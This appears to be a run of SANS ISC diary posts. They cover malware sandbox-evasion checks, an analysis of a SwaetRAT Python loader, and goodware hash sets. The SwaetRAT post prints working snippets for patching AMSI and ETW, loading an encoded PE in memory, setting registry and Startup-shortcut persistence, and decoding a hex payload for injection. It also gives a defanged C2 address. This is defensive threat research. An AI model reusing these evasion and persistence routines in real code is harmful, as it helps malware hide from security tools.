using System; using System.Diagnostics; using System.IO; public class Program { public static bool IsMyNameValid() { string fullPath = Process.GetCurrentProcess().MainModule.FileName; string fileName = Path.GetFileName(fullPath); return !string.Equals(fileName, "sample.exe", StringComparison.OrdinalIgnoreCase); } [...] }
Check another one that I spotted recently (from my last diary[2]):
public static void Main() { string friendlyName = AppDomain.CurrentDomain.FriendlyName; string startupPath = Application.StartupPath; string pathRoot = Path.GetPathRoot(Environment.SystemDirectory); string userName = Environment.UserName; string text = "Microsoft"; pathRoot + "Users\\" + userName; "ta\\Roaming\\" + text; string text2 = "_OneDrive.exe"; string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); [...] Thread.Sleep(1000); try { File.Copy(Application.ExecutablePath, string.Concat(new string[] { folderPath, "\\", text, "\\", text2 }), true); } catch { } Thread.Sleep(1500); if (startupPath == folderPath + "\\" + text) { [... Go ahead ...] }
Sometimes, malware analysts will make the malware unhappy because they will change its environment to make the analysis easier. A classic is to disable ASLR[3] to debug packed malware. A malware can detect if ASLR has been disabled (ASLR is on by default)
public static bool CheckASLR(Process process) { IntPtr hProcess = process.Handle; if (GetProcessMitigationPolicy(hProcess, PROCESS_MITIGATION_POLICY.ProcessASLRPolicy, out PROCESS_MITIGATION_ASLR_POLICY aslrPolicy, Marshal.SizeOf(typeof(PROCESS_MITIGATION_ASLR_POLICY)))) { bool status = !aslrPolicy.BottomUpRandomization && !aslrPolicy.ForceRelocateImages && !aslrPolicy.HighEntropy && !aslrPolicy.DisallowStrippedImages; return status; } return false; }
If ASLR is disabled, the malware will maybe change its behavior, exit immediately, or perform more nasty stuff.
In conclusion, when analyzing malware, always treat it with kindness.
[1] https://www.sans.org/cyber-security-courses/reverse-engineering-malware-malware-analysis-tools-techniques/
[2] https://isc.sans.edu/diary/SwaetRAT%20Delivery%20Through%20Python/31554
[3] https://learn.microsoft.com/en-us/cpp/build/reference/dynamicbase-use-address-space-layout-randomization?view=msvc-170
Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
0 Comments
SwaetRAT Delivery Through Python
We entered a new year, but attack scenarios have not changed (yet). I found a Python script with an interesting behavior[1] and a low Virustotal score (7/61). It targets Microsoft Windows hosts because it starts by loading all libraries required to call Microsoft API Calls and manipulate payloads:
from System.Reflection import Assembly from ctypes import windll from ctypes import wintypes import ctypes
I have already covered multiple Python scripts that interact with the operating system at the API level.
Before handling the next stage, the script performs live patching[2] of interesting API calls to cover its tracks. The first one is pretty common, AmsiScanBuffer()
, but it also patches EtwEventWrite()
[3] to prevent the creation of events.
The code (beautified) is the same for both. The very first bytes of the API calls are overwritten to return an expected value:
if platform.architecture()[0] == '64bit': etw_patch = (ctypes.c_char * 4)(0x48, 0x33, 0xc0, 0xc3) if platform.architecture()[0] != '64bit': etw_patch = (ctypes.c_char * 5)(0x33, 0xc0, 0xc2, 0x14, 0x00) pEventWrite = GetProcAddress(GetModuleHandleA(b"ntdll.dll"), b"EtwEventWrite") oldprotect = wintypes.DWORD(0) VirtualProtect(pEventWrite, ctypes.sizeof(etw_patch), RWX, ctypes.byref(oldprotect)) RtlMoveMemory(pEventWrite, etw_patch, ctypes.sizeof(etw_patch)) VirtualProtect(pEventWrite, ctypes.sizeof(etw_patch), oldprotect, ctypes.byref(oldprotect))
Finally, the script decodes, loads, and invokes the next stage:
PAYLOAD_DATA = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAA [...string is too long...]" assembly = Assembly.Load(base64.b64decode(PAYLOAD_DATA)) instance = assembly.CreateInstance(assembly.EntryPoint.Name) assembly.EntryPoint.Invoke(instance,None)
You will probably recognize the first bytes of the payload, we are facing a PE file[4].
remnux@remnux:/MalwareZoo/20250102$ base64dump.py -n 10 stage1.py ID Size Encoded Decoded md5 decoded -- ---- ------- ------- ----------- 1: 16 GetModuleHandleA ..L...xv.vW. 1b7ad174aff72b50b2484077b9fe6e0c 2: 16 GetModuleHandleA ..L...xv.vW. 1b7ad174aff72b50b2484077b9fe6e0c 3: 16 GetModuleHandleA ..L...xv.vW. 1b7ad174aff72b50b2484077b9fe6e0c 4: 16 GetModuleHandleA ..L...xv.vW. 1b7ad174aff72b50b2484077b9fe6e0c 5: 16 GetModuleHandleA ..L...xv.vW. 1b7ad174aff72b50b2484077b9fe6e0c 6: 179544 TVqQAAMAAAAEAAAA MZ.............. 0ce61b311f5694e8d3c22ff1729cf805 remnux@remnux:/MalwareZoo/20250102$ base64dump.py -n 10 stage1.py -s 6 -d | file - /dev/stdin: PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
The executable is a .Net binary that can be easily disassembled (not obfuscated) and reversed.
First, it copies itself to "%LOCALAPPDATA%\Microsoft\_OneDrive.exe
" and checks if it is executed from this directory. This is a nice trick because many sandboxes execute samples always from the same directory eg. C:\Temp.
If so, it will extract the next stage. It also creates the directory "%LOCALAPPDATA%\Xbox
". Persistence is implemented via a registry key and a link file in the Startup folder:
public static void __PER_v4_() { string text = "Software\\STD"; string text2 = "DDD"; try { RegistryKey registryKey = Registry.CurrentUser.CreateSubKey(text); registryKey.SetValue(text2, "\"" + Process.GetCurrentProcess().MainModule.FileName.ToString() + "\""); registryKey.Close(); } catch (Exception) { } try { WshShell wshShell = (WshShell)Activator.CreateInstance(Marshal.GetTypeFromCLSID(new Guid("72C24DD5-D70A-438B-8A42-98424B88AFB8"))); if (Program.<>o__0.<>p__0 == null) { Program.<>o__0.<>p__0 = CallSite<Func<CallSite, object, IWshShortcut>>.Create(Binder.Convert(CSharpBinderFlags.ConvertExplicit, typeof(IWshShortcut), typeof(Program))); } IWshShortcut wshShortcut = Program.<>o__0.<>p__0.Target(Program.<>o__0.<>p__0, wshShell.CreateShortcut(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\Winexe.lnk")); wshShortcut.TargetPath = "powershell.exe"; wshShortcut.Arguments = "Start-Process -FilePath (Get-ItemProperty 'HKCU:" + text + "')." + text2; wshShortcut.WindowStyle = 7; wshShortcut.Save(); } catch (Exception) { } }
Finally, the next payload is decoded:
new WebClient(); string hex = "4D5A90000300000004000000FFFF0000B8000000[...string is too long...]"; try { Thread.Sleep(1500); } catch { } try { Program.Run("C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe", Program.BA(hex), false);
The hex variable is decoded using the BA()
function:
public static byte[] BA(string hex) { int length = hex.Length; byte[] array = new byte[length / 2]; for (int i = 0; i < length; i += 2) { array[i / 2] = Convert.ToByte(hex.Substring(i, 2), 16); } return array; }
The next stage (SHA256: f8ff16829e8fe1d06126c42c76b2bf48c62a02d1c6426e448e723168ecdf19fc) is the SwaetRAT itself. Another .Net binary, non-obfuscated, you can see the RAT capabilities directly during the disassembly:
The malware copies itself in another location: "%APPDATA%\CCleaner.exe
". The configuration can be easily extracted:
It's always interesting to perform some threat intelligence and I found interesting relations to this RAT:
- The sample (f8ff16829e8fe1d06126c42c76b2bf48c62a02d1c6426e448e723168ecdf19fc) has been identified in another campaign[5]
- The sample has been covered by eSentire[6] in 2023
The RAT C2 server can be extracted from the payload:
{ "c2": [ "144[.]126[.]149[.]221:7777" ], "rule": "Swaetrat", "family": "swaetrat" }
[1] https://www.virustotal.com/gui/file/8693e1c6995ca06b43d44e11495dc24d809579fe8c3c3896e972e2292e4c7abd/details
[2] https://isc.sans.edu/diary/Live+Patching+DLLs+with+Python/31218
[3] https://learn.microsoft.com/en-us/windows/win32/devnotes/etweventwrite
[4] https://isc.sans.edu/diary/Searching+for+Base64encoded+PE+Files/22199
[5] https://isc.sans.edu/diary/ExelaStealer+Delivered+From+Russia+With+Love/31118
[6] https://www.esentire.com/blog/phantomcontrol-returns-with-ande-loader-and-swaetrat
Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
0 Comments
Goodware Hash Sets
In the cybersecurity landscape, we all need hashes! A hash is the result of applying a special mathematical function (a “hash function”) that transforms an input (such as a file or a piece of text) into a fixed-size string or number. This output, often called a “hash value,” “digest,” or “checksum,” uniquely represents the original data. In the context of this diary, hashes are commonly used for data integrity checks. There are plenty of them (MD5, SHA-1, SHA-2, SHA-256, …), SHA256 being the most popular for a while because older like MD5 are considered as broken because researchers have demonstrated practical collision attacks.
Hashes are a nice way to identify malware samples, payload, or any type of suspicious files (I usually share the hash of the malware analyzed in my diaries). In your threat-hunting process, you can search for interesting files across your infrastructure via sets of malware hashes. Some of them are freely available like on Malware Bazaar[1].
But, other sets of hashes are also interesting when they contain hashes for safe files. The approach is the same: Instead of searching for malicious files, you verify that files on your hosts are good.
Exacorn has released an interesting ZIP archive[2] with “good ware” (as opposed to “malware”). The file (2GB) provides 12M hashes and filenames:
Pay attention that some files might be flagged by some antivirus solutions. For example, I searched for "putty.exe" in the file. One of the returned hashes is: 6CDBE5323E1DEC7102D86C60458D6C7465807E80516D63F2EE509625C1DF2416[3].
It’s a perfect opportunity to remind you that other projects exist. The ones that I use regularly:
- The National Software Reference Library (NSRL) project[4]
- The CIRCL.lu Hash Lookup API[5]
- Hashsets.com [6] (not 100% free)
I like the second one because it includes the NSRL lists and can be used in an automated way.
We love hashes!
[1] https://bazaar.abuse.ch/export/
[2] https://www.hexacorn.com/blog/2024/12/31/clean-hash-set-12m-rows/
[3] https://www.virustotal.com/gui/file/6cdbe5323e1dec7102d86c60458d6c7465807e80516d63f2ee509625c1df2416
[4] https://www.nist.gov/itl/ssd/software-quality-group/national-software-reference-library-nsrl/about-nsrl
[5] https://www.circl.lu/services/hashlookup/
[6] https://www.hashsets.com
Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
1 Comments
0 Comments